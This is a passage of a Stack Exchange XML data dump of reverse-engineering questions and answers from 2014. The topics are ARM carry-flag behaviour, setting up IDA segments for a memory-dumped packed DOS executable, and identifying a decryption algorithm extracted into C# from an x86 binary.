instruction in ARM and Carry flag updates?" Tags="|assembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6066" PostTypeId="2" ParentId="6065" CreationDate="2014-08-13T14:04:52.317" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, &lt;code&gt;C&lt;/code&gt; is the carry flag.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;C&lt;/code&gt; is set from the result of the &lt;code&gt;ROR&lt;/code&gt; operation. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Pseudocode of the &lt;code&gt;AND (register)&lt;/code&gt; instruction from the &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ddi0406c/index.html&quot; rel=&quot;nofollow&quot;&gt;ARM ARM&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ConditionPassed() then&#xA;    EncodingSpecificOperations();&#xA;    (shifted, carry) = Shift_C(R[m], shift_t, shift_n, APSR.C);&#xA;    result = R[n] AND shifted;&#xA;    if d == 15 then // Can only occur for ARM encoding&#xA;        ALUWritePC(result); // setflags is always FALSE here&#xA;    else&#xA;        R[d] = result;&#xA;        if setflags then&#xA;            APSR.N = result&amp;lt;31&amp;gt;;&#xA;            APSR.Z = IsZeroBit(result);&#xA;            APSR.C = carry;&#xA;            // APSR.V unchanged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;APSR.C&lt;/code&gt; is set to the result of the shift operation, not the &lt;code&gt;AND&lt;/code&gt; operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;code&gt;AND&lt;/code&gt; is pretty straightforward but in case of e.g. &lt;code&gt;ADD&lt;/code&gt; you may have carry affected by both the shift and the add. So what happens? Again, ARM ARM to the rescue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ConditionPassed() then&#xA;    EncodingSpecificOperations();&#xA;    shift_n = UInt(R[s]&amp;lt;7:0&amp;gt;);&#xA;    shifted = Shift(R[m], shift_t, shift_n, APSR.C);&#xA;    (result, carry, overflow) = AddWithCarry(R[n], shifted, APSR.C);&#xA;    R[d] = result;&#xA;    if setflags then&#xA;        APSR.N = result&amp;lt;31&amp;gt;;&#xA;        APSR.Z = IsZeroBit(result);&#xA;        APSR.C = carry;&#xA;        APSR.V = overflow;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The answer: the add &quot;wins&quot; and the carry of the shift operation is discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, a good page to check what happens for each concrete instruction is &lt;a href=&quot;http://svr-acjf3-armie.cl.cam.ac.uk/main.cgi&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ands r9, r0, r0, ror #3&#xA;machine code: E01091E0&#xA;...&#xA;cpsr.N  ←   (r0 AND r0 ROR 3)&amp;lt;31&amp;gt;&#xA;cpsr.Z  ←   r0 AND r0 ROR 3 = 0&#xA;cpsr.C  ←   #CARRY (ROR_C (r0,3))&#xA;r9  ←   r0 AND r0 ROR 3&#xA;r15 ←   r15 + 4&#xA;&#xA;&#xA;adds r9, r0, r0, ror #3&#xA;machine code: E09091E0&#xA;...&#xA;cpsr.N  ←   (r0 + r0 ROR 3)&amp;lt;31&amp;gt;&#xA;cpsr.Z  ←   r0 + r0 ROR 3 = 0&#xA;cpsr.C  ←   #CARRY (AddWithCarry (r0,r0 ROR 3,False))&#xA;cpsr.V  ←   #OVERFLOW (AddWithCarry (r0,r0 ROR 3,False))&#xA;r9  ←   r0 + r0 ROR 3&#xA;r15 ←   r15 + 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-08-13T14:34:41.483" LastActivityDate="2014-08-13T14:34:41.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6067" PostTypeId="1" AcceptedAnswerId="6070" CreationDate="2014-08-13T14:20:53.240" Score="6" ViewCount="4168" Body="&lt;p&gt;I'm disassembling a packed 16 bit DOS MZ EXE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problems started when I loaded the image in IDA. You see, I don't understand the IDA's concept of segments. They are similar to x86 segments, but there are numerous differences which I can't grasp. When IDA asked me to create at least one segment, I just made a single huge segment 1 MB length, because the code and data in program's address space are mixed and it doesn't make sense to introduce separate segments such as &lt;code&gt;CODE&lt;/code&gt;, &lt;code&gt;DATA&lt;/code&gt; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After showing IDA the entry point, everything worked fine: IDA successfully determined functions, local variables, arguments etc. The only problem is that some calls are marked as &lt;code&gt;NONAME&lt;/code&gt;, even though they point at correct subroutines. The strangest thing is that those subroutines have correct XREFs to the 'illegal' calls. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:188FF 004                 call    1AD9h:1         ; Call Procedure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is red and has an associated &lt;code&gt;NONAME&lt;/code&gt; problem in Problems List. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;1AD9h:1&lt;/code&gt; seg:offset address corresponds to linear address &lt;code&gt;0x1ad91&lt;/code&gt;, which has this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:1AD91     ; =============== S U B R O U T I N E =======================================&#xA;seg000:1AD91&#xA;seg000:1AD91     ; Attributes: bp-based frame&#xA;seg000:1AD91&#xA;seg000:1AD91     sub_1AD91       proc far                ; CODE XREF: sub_188F2+DP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the XREF. So IDA actually processes the call correctly! Why is the call considered invalid? IDA help file says this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Problem: Can not find name&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Two reasons can cause this problem:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Reference to an illegal address is made in the program being&#xA;  disassembled;&lt;/li&gt;&#xA;  &lt;li&gt;IDA couldn't find a name for the address but it must exist. &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;What to do&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;If this problem is caused by a reference to an illegal address&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Try to enter the operand manually&lt;/li&gt;&#xA;  &lt;li&gt;Or &lt;strong&gt;make the illegal address legal by creating a new segment&lt;/strong&gt;.&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Otherwise, the database is corrupt.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, I guess the problem is that I have one gargantuan segment instead of several small ones. But, how do I properly divide the address space into appropriate segments? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the register values (including &lt;code&gt;DS&lt;/code&gt;, &lt;code&gt;CS&lt;/code&gt;, &lt;code&gt;SS&lt;/code&gt;, &lt;code&gt;IP&lt;/code&gt;, etc) at the entry point. Let's assume I create a &lt;code&gt;CODE&lt;/code&gt; segment starting from the segment corresponding to the CS register value at the entry point. But what length should this segment have ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the point of segments in IDA at all? If DATA segments can contain instructions, and CODE segments can be read and written as data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please excuse me for such a newbie question, but official IDA manual is notoriously scarce and HexRays forums are closed for me because I use freeware version. &lt;/p&gt;&#xA;" OwnerUserId="3218" LastEditorUserId="3218" LastEditDate="2014-08-13T17:45:50.730" LastActivityDate="2014-08-13T20:09:00.807" Title="Segments in IDA. How to overcome NONAME problem" Tags="|ida|disassembly|segmentation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostTypeId="2" ParentId="6067" CreationDate="2014-08-13T15:47:53.073" Score="2" Body="&lt;p&gt;The problem behind this is that each segment addresses a maximum of 64KB, and, to generate meaningful assembly, IDA needs to know what the segment registers are supposed to be when code is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have the following code at linear address &lt;code&gt;0x23456&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov bx, 6789&#xA;call [bx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which function does this call? Well, if your CS register has &lt;code&gt;0x2000&lt;/code&gt;, and your IP is &lt;code&gt;0x3456&lt;/code&gt;, then this calls &lt;code&gt;2000:6789&lt;/code&gt; or (linear) &lt;code&gt;0x26789&lt;/code&gt;. But, just as well, you could have &lt;code&gt;0x2345&lt;/code&gt; in CS and &lt;code&gt;0x0006&lt;/code&gt; in IP. In which case &lt;code&gt;2345:6789&lt;/code&gt; or (&lt;code&gt;0x23450&lt;/code&gt;+&lt;code&gt;0x6789&lt;/code&gt;=)&lt;code&gt;0x29BD9&lt;/code&gt; gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cases when jump/call targets aren't that ambiguous, for example with absolute far calls, like your &lt;code&gt;call 1AD9:1&lt;/code&gt;, or with relative jumps (This is why i used the indirect &lt;code&gt;[bx]&lt;/code&gt; call; &lt;code&gt;call 6789&lt;/code&gt; would use an assembly instruction that is relative to IP, so independent of the segment). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, offsets don't make sense if you don't know which segment they belong to. If you have code like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ax, 1234&#xA;push ax&#xA;pop es&#xA;mov bx, es:[abcd]&#xA;mov ax, 5678&#xA;push ax&#xA;pop es&#xA;mov dx, es:[cdef]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you want a variable definition (for bx) at &lt;code&gt;1234:abcd&lt;/code&gt;, and another one (for dx) at &lt;code&gt;5678:cdef&lt;/code&gt;. Which means IDA must know that one segment starts at &lt;code&gt;1234&lt;/code&gt; to put the first variable in, and another one starts at &lt;code&gt;5678&lt;/code&gt; for the second variable. (I used the push/pop because, as far as i remember, there was no processor opcode to load a segment register directly, and i think there were some restrictions with moving them as well, so the push/pop was used heavily to load them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the point of segments is that they are a bad idea and caused lots of trouble, but Intel wanted to be able to address more than 64K with a 16 bit processor, so they invented them. Which means they exist, and we need to get them right when disassembling 16-bit programs. Whether or not we like them isn't the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you can do is find as many references to segments as you can - initial CS/DS/ES/SS values, far calls to some &lt;code&gt;cs:ip&lt;/code&gt; location, and values that get loaded into segment registers. Then, write down which segment values occur, assume each of them is large enough to accomodate all space to the next one, and feed this list to IDA.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-08-13T15:47:53.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6069" PostTypeId="1" AcceptedAnswerId="6071" CreationDate="2014-08-13T18:18:38.470" Score="2" ViewCount="2180" Body="&lt;p&gt;I'm disassembling a packed 16 bit DOS MZ EXE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image. Then I loaded this image in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, there's no MZ header anymore, so IDA can't know the application's entry point and initial values of CS, SS and other segment registers. I, however, do know these values, and I'm willing to supply them to IDA. To do this, I hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and type the register's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of showing &lt;code&gt;assume ds:&amp;lt;value&amp;gt;&lt;/code&gt;, IDA shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:1AEBC                     assume es:nothing, ss:nothing, ds:nothing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question. Why there is no option to set the value of CS register? Consider code which contains near jumps. Without knowledge about the CS register value, IDA won't be able to proceed with disassembling. But I &lt;em&gt;do&lt;/em&gt; know what value CS has at this specific point! How do I supply this information to IDA if the &lt;code&gt;Segment Register Value&lt;/code&gt; dialog window doesn't have CS option?&lt;/p&gt;&#xA;" OwnerUserId="3218" LastActivityDate="2014-08-13T19:08:34.030" Title="Why IDA aggressively assumes 'nothing' on segment registers?" Tags="|ida|disassembly|segmentation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6070" PostTypeId="2" ParentId="6067" CreationDate="2014-08-13T18:32:03.617" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your program is using a segment with base &lt;code&gt;1AD9h&lt;/code&gt; (the segment part of the far call). You need to create a new segment which matches it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start = 0x1AD90   (0x1AD9&amp;lt;&amp;lt;4)&#xA;End = 0x2AD90  [for example] (start + 64KB - maximum size)&#xA;Base = 0x1AD9&#xA;(o) 16-bit&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, go through the new segment and make sure everything makes sense. Trim the segment (reduce end address) if necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find another far jump/call with a different segment value. Repeat step 1 for the new base.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the same with data segments (look for values loaded into &lt;code&gt;ds&lt;/code&gt;/&lt;code&gt;es&lt;/code&gt;/&lt;code&gt;ss&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-08-13T20:09:00.807" LastActivityDate="2014-08-13T20:09:00.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6071" PostTypeId="2" ParentId="6069" CreationDate="2014-08-13T19:08:34.030" Score="3" Body="&lt;p&gt;DOS programs used segments and IDA was made to mimic that behavior. That's why you cannot change CS (since in properly set up database CS is just the segment's base) and why your changes to segment registers do now show up (because there is no segment corresponding to the values you enter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest opening a normal (not packed) MZ file to see how it's supposed to look. If you keep fighting IDA instead of working with it you'll keep having problems.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-08-13T19:08:34.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostTypeId="2" ParentId="6067" CreationDate="2014-08-13T19:48:17.327" Score="4" Body="&lt;p&gt;I dealt with a ROM image once and faced this problem.  I was confused too about what to do until Igor offered his advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What seemed to be happening was that the linker was placing every object file into its own segment, so every inter-object function invocation was rendered in the binary as a far call, where the segment base was the base given to all functions within the module.  I.e., the case you mention in your reply to Igor's comment did not materialize for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it, I searched the binary for all far call instructions and then created a new IDA segment (as large as possible) at the linear address of each referenced x86 segment.  I.e., I did indeed end up with lots of tiny segments.  This is not really a problem; really, the problem is that by not doing this, the references won't be disassembled correctly.  It was pretty quick work and probably could be automated with a script.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-08-13T19:48:17.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostTypeId="1" AcceptedAnswerId="6074" CreationDate="2014-08-14T02:13:14.243" Score="1" ViewCount="598" Body="&lt;p&gt;I have a decryption algorithm that has been pulled from an x86 binary and converted into C# code. The C# works perfectly to decrypt data, but I'd like to identify the algorithm in use, so I could (among other things) possibly replace the extracted algorithm with an identical one from a third party library (like &lt;a href=&quot;https://www.bouncycastle.org/&quot; rel=&quot;nofollow&quot;&gt;Bouncy Castle&lt;/a&gt;) but I don't know where to begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm including my code below for reference. I'd like to find out how to even go about identifying such a thing. (Of course, the name of the algorithm would be greatly appreciated as well!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class Crypto&#xA;{&#xA;    private static uint[] _MCInitVector = {&#xA;        0xDB792195, 0xE63BF923, 0x4F6F076D, 0x122CDED5, 0xDA711220, 0x4F6FCEE6, 0x45E45C44, 0xCF852932,&#xA;        0x469ADBF6, 0x5E12481F, 0x682D2354, 0xBDD21105, 0x5BB5F3E6, 0x6E8C82CA, 0xD0FDD8E3, 0xBE4CB2DF,&#xA;        0xE3EB3F01, 0xD03D3F32, 0x77A4E3FF, 0xDF17D4B5, 0x2AC710AC, 0x5ACAC8ED, 0x703BD8E4, 0x1D9C3B3B,&#xA;        0x4564A5D2, 0xB0224742, 0xB5A3048A, 0xA35A3F55, 0xCA33744F, 0xF1AEC0A0, 0x0BF4B1A4, 0x04038654,&#xA;        0x7C65A9EC, 0xAA41DC51, 0xE5096687, 0x1D433C75, 0x35DE20AF, 0xDB75DA77, 0x230A8E81, 0x18BE6B31,&#xA;        0x8D8857BA, 0x0EC016A2, 0x2FF6FB27, 0x37D3EB09, 0x91A6A259, 0x13E0EA7B, 0x07926A43, 0x21DF97F9,&#xA;        0x24FD4BEB, 0x10315AA3, 0x58D70DF3, 0x7C56F52D, 0x1ABF4E8F, 0x50E140B0, 0xE1E9FEB2, 0x90380A5E,&#xA;        0xEA3761D3, 0x583B843B, 0xF0F9496F, 0xC9FCD225, 0x35EC4846, 0x550CFA8B, 0x574DD012, 0x66C3ABF9,&#xA;        0x55A7DBF8, 0x510A4DAE, 0xFF1738CC, 0x9AC85D2F, 0x3A7704F5, 0xDDB85A5C, 0x86A50929, 0xFB01BD4F,&#xA;        0x877DDF76, 0x187EF004, 0x912E5B3E, 0xEBE1CBDD, 0x354F0206, 0x9D889D03, 0x910D16EF, 0xA67178A7,&#xA;        0xC2DEEEDF, 0xE433A4BC, 0x474B91F7, 0x14A28299, 0xCBAD7D66, 0x494D39DF, 0x8B6BB28E, 0xCDCC33EE,&#xA;        0xAF37C9D3, 0x9D79794F, 0x6B2C05ED, 0xA8823F18, 0x6225D7ED, 0x292E7345, 0xA04CE9DF, 0x951ABE7F,&#xA;        0x72C3CC98, 0xCD1E0582, 0x41224C23, 0x90D26E39, 0xC75B1461, 0xE0B5DBD1, 0x83BA4F78, 0x2A072F2B,&#xA;        0xA1A24F28, 0xB3BF06C8, 0xD5335518, 0x186662AC, 0xBC71C21F, 0x2BFC24A8, 0xDBB15F07, 0x076C83F5,&#xA;        0xBD656129, 0x507A23D6, 0xB3CE5930, 0xD68E24EF, 0xE82CAF40, 0xA53C0493, 0x79CE3BB7, 0x030FEF29,&#xA;        0x347E8A30, 0xFF6E9D5C, 0xCE9B9A04, 0xBC4E5140, 0x949BBE83, 0xCB8B3DBE, 0xAE1D5F44, 0x21148102,&#xA;        0x754E9EAF, 0xF2DEAE15, 0xF2EB3A8C, 0x8B1614AE, 0x6ED005B6, 0xCA16DD83, 0x29BD701B, 0xAA6201C9,&#xA;        0x58CE4025, 0x9C6121CB, 0x11C03985, 0xEFFC2A2A, 0x4136605B, 0x7F30DDFD, 0x19ECCC35, 0x4D6E1426,&#xA;        0x6360EE03, 0xE69CB55A, 0xD181A69D, 0x7E69A4C7, 0x91B4C97C, 0x9BA0F967, 0xE05438A6, 0xF6A6AB45,&#xA;        0xD0808096, 0xCE1DB289, 0x8FDF796F, 0x4D3B9B25, 0xA4AD9AE6, 0x5DF9105F, 0x71B1FD3E, 0xF90A6F7C,&#xA;        0xEE1D1310, 0x183B6922, 0x2AD9A280, 0x50EAD939, 0x0B5990F6, 0xEAB6D31C, 0xD1F23104, 0x3FA68196,&#xA;        0xA228DCCC, 0x68C10912, 0x9003CF9C, 0xB92E58C4, 0x9FBBA10F, 0x3DA05555, 0xAE52996D, 0x8F0A3B2C,&#xA;        0x12F8D4DF, 0x02DF25C9, 0x51D99D11, 0x950AEAD2, 0xFFF87B29, 0xCDA6B1E7, 0x13056DC7, 0x189BA81A,&#xA;        0xA23C22E1, 0x0F9E5E7F, 0x799B23CD, 0x53DB90F6, 0xA388548B, 0xB9C0D3E5, 0x753BB810, 0xC3768EFD,&#xA;        0x2D66B7F2, 0x16EEC5CB, 0x4490D722, 0xF813E0E6, 0xD02DC104, 0x1FE5CA4F, 0x18A27E69, 0x191699FF,&#xA;        0xB366A330, 0x4B01495D, 0x5529AD4D, 0x48F2FE87, 0x926C55F1, 0x53491F9B, 0x875BA8D1, 0xEF2C3CD8,&#xA;        0xE50C89F9, 0x5201768C, 0x1A5C4B35, 0x114C0C76, 0x77D8B1DF, 0x75E77E8A, 0x39826BA2, 0x3FFACC4F,&#xA;        0xF5FF4FF7, 0xA0B10525, 0xFD46ED4F, 0xE97C9F45, 0x568CB141, 0xD45C1365, 0x788B2B7E, 0xABAA5158,&#xA;        0x73AD6AEA, 0x041E5FCA, 0x0BE48855, 0x01C285AF, 0x0B2EFB29, 0x49655AEE, 0xABBF0B3C, 0x958E4617,&#xA;        0x0A8CD37A, 0x871758F9, 0x0DB1A84D, 0xE453974A, 0x78308BD6, 0x7456A7EB, 0x76FF0F79, 0x3C1957D9,&#xA;        0xD6E89EE6, 0x4DB3A5B2, 0xBAC849BA, 0xC68E2110, 0xE8F9F2EB, 0x970F676E, 0x034377B6, 0xF0DC724F,&#xA;        0xFF290056, 0xD3B7F2FF, 0x72DF023B, 0x3021ACA2, 0x352EE316, 0xE046B5CA, 0xE94E08BC, 0x41BFFB5A&#xA;    };&#xA;&#xA;    private byte[] _decryptKey;&#xA;    private uint[] _decryptSet;&#xA;    private uint _decryptState1;&#xA;    private uint _decryptState2;&#xA;    private uint _decryptState3;&#xA;    private int _decryptSetIndex;&#xA;    private int _decryptKeyIndex;&#xA;&#xA;    public uint Seed { get; set; }&#xA;&#xA;    public Crypto(uint seed)&#xA;    {&#xA;        this.Seed = seed;&#xA;&#xA;        _decryptKey = new byte[128];&#xA;        _decryptSet = new uint[512];&#xA;&#xA;        // round 0&#xA;        Array.Copy(_MCInitVector, _decryptSet, 256);&#xA;        Array.Clear(_decryptSet, 256, 256);&#xA;        _decryptState1 = seed;&#xA;        _decryptState2 = 0;&#xA;        _decryptState3 = 0;&#xA;        _decryptSetIndex = 0;&#xA;        uint key = getNextKey();&#xA;&#xA;        // round 1&#xA;        Array.Copy(_MCInitVector, _decryptSet, 256);&#xA;        Array.Clear(_decryptSet, 256, 256);&#xA;        _decryptState1 = seed;&#xA;        _decryptState2 = key;&#xA;        _decryptState3 = 0;&#xA;        _decryptSetIndex = 0;&#xA;        for (int i = 0; i &amp;lt; 5; i++)&#xA;        {&#xA;            key = getNextKey();&#xA;        }&#xA;&#xA;        // round 2&#xA;        Array.Copy(_MCInitVector, _decryptSet, 256);&#xA;        Array.Clear(_decryptSet, 256, 256);&#xA;        _decryptState1 = key;&#xA;        _decryptState2 = 0;&#xA;        _decryptState3 = 0;&#xA;        _decryptSetIndex = 0;&#xA;&#xA;        // fill decrypt keys&#xA;        _decryptKeyIndex = 31;&#xA;        for (int i = 124; i &amp;gt;= 0; i -= 4)&#xA;        {&#xA;            BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, i);&#xA;        }&#xA;    }&#xA;&#xA;    private uint getNextKey()&#xA;    {&#xA;        int i = (--_decryptSetIndex);&#xA;        if (i &amp;lt; 256)&#xA;        {&#xA;            uint var1 = _decryptState1;&#xA;            uint var2 = _decryptState2 + (++_decryptState3);&#xA;&#xA;            i = 0;&#xA;            while (i &amp;lt; 256)&#xA;            {&#xA;                uint j, k;&#xA;                var1 = (var1 ^ (var1 &amp;lt;&amp;lt; 13)) + _decryptSet[(i + 128) &amp;amp; 0xff];&#xA;                j = _decryptSet[i];&#xA;                k = _decryptSet[i] = _decryptSet[(j &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + var1 + var2;&#xA;                var2 = _decryptSet[i + 256] = _decryptSet[((k &amp;gt;&amp;gt; 8) &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + j;&#xA;                i++;&#xA;                var1 = (var1 ^ (var1 &amp;gt;&amp;gt; 6)) + _decryptSet[(i + 128) &amp;amp; 0xff];&#xA;                j = _decryptSet[i];&#xA;                k = _decryptSet[i] = _decryptSet[(j &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + var1 + var2;&#xA;                var2 = _decryptSet[i + 256] = _decryptSet[((k &amp;gt;&amp;gt; 8) &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + j;&#xA;                i++;&#xA;                var1 = (var1 ^ (var1 &amp;lt;&amp;lt; 2)) + _decryptSet[(i + 128) &amp;amp; 0xff];&#xA;                j = _decryptSet[i];&#xA;                k = _decryptSet[i] = _decryptSet[(j &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + var1 + var2;&#xA;                var2 = _decryptSet[i + 256] = _decryptSet[((k &amp;gt;&amp;gt; 8) &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + j;&#xA;                i++;&#xA;                var1 = (var1 ^ (var1 &amp;gt;&amp;gt; 16)) + _decryptSet[(i + 128) &amp;amp; 0xff];&#xA;                j = _decryptSet[i];&#xA;                k = _decryptSet[i] = _decryptSet[(j &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + var1 + var2;&#xA;                var2 = _decryptSet[i + 256] = _decryptSet[((k &amp;gt;&amp;gt; 8) &amp;amp; 0x3ff) &amp;gt;&amp;gt; 2] + j;&#xA;                i++;&#xA;            }&#xA;&#xA;            _decryptState1 = var1;&#xA;            _decryptState2 = var2;&#xA;            i = _decryptSetIndex = 511;&#xA;        }&#xA;&#xA;        return _decryptSet[i];&#xA;    }&#xA;&#xA;&#xA;    public void DecodePacket(ref byte[] packet)&#xA;    {&#xA;        int len = packet.Length;&#xA;&#xA;        // Poster's note: Packet is post-fixed with a 4 byte checksum, hence this subtraction&#xA;        len -= 4;&#xA;        int idx = _decryptKeyIndex * 4;&#xA;        int i = 6; // Poster's Note: Actual packet data starts at index 6, index 5 and below are flags/metadata&#xA;        // block decryption (OFB mode)&#xA;        while (i &amp;lt; len)&#xA;        {&#xA;            int j = idx &amp;amp; 0x1f; idx += 4;&#xA;            packet[i++] ^= _decryptKey[j++];&#xA;            packet[i++] ^= _decryptKey[j++];&#xA;            packet[i++] ^= _decryptKey[j++];&#xA;            packet[i++] ^= _decryptKey[j++];&#xA;        }&#xA;        len += 4;&#xA;        // process left bytes&#xA;        while (i &amp;lt; len)&#xA;        {&#xA;            packet[i++] ^= _decryptKey[(idx++) &amp;amp; 0x7f];&#xA;        }&#xA;&#xA;        // update key stream&#xA;        idx = _decryptKeyIndex;&#xA;        BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, idx);&#xA;        _decryptKeyIndex = (idx + 31) &amp;amp; 0x1f;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8295" LastActivityDate="2014-08-16T03:51:24.240" Title="Identifying cryptography algorithm" Tags="|static-analysis|decryption|cryptography|c#|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6074" PostTypeId="2" ParentId="6073" CreationDate="2014-08-14T02:51:29.660" Score="5" Body="&lt;p&gt;You can always feed the original binary to IDA and use the plugin &lt;a href=&quot;http://www.hexblog.com/?p=28&quot;&gt;Findcrypt2&lt;/a&gt; to identify the algorithms used. Other than this the &lt;a href=&quot;http://www.softpedia.com/get/Programming/Other-Programming-Files/Kanal.shtml&quot;&gt;Kanal&lt;/a&gt; plugin for PeiD can also detect cryptography used.&#xA;Another tool for the same task is &lt;a href=&quot;http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/Hash-Crypto-Detector.shtml&quot;&gt;Hash &amp;amp; Crypto Detector&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-08-14T02:51:29.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
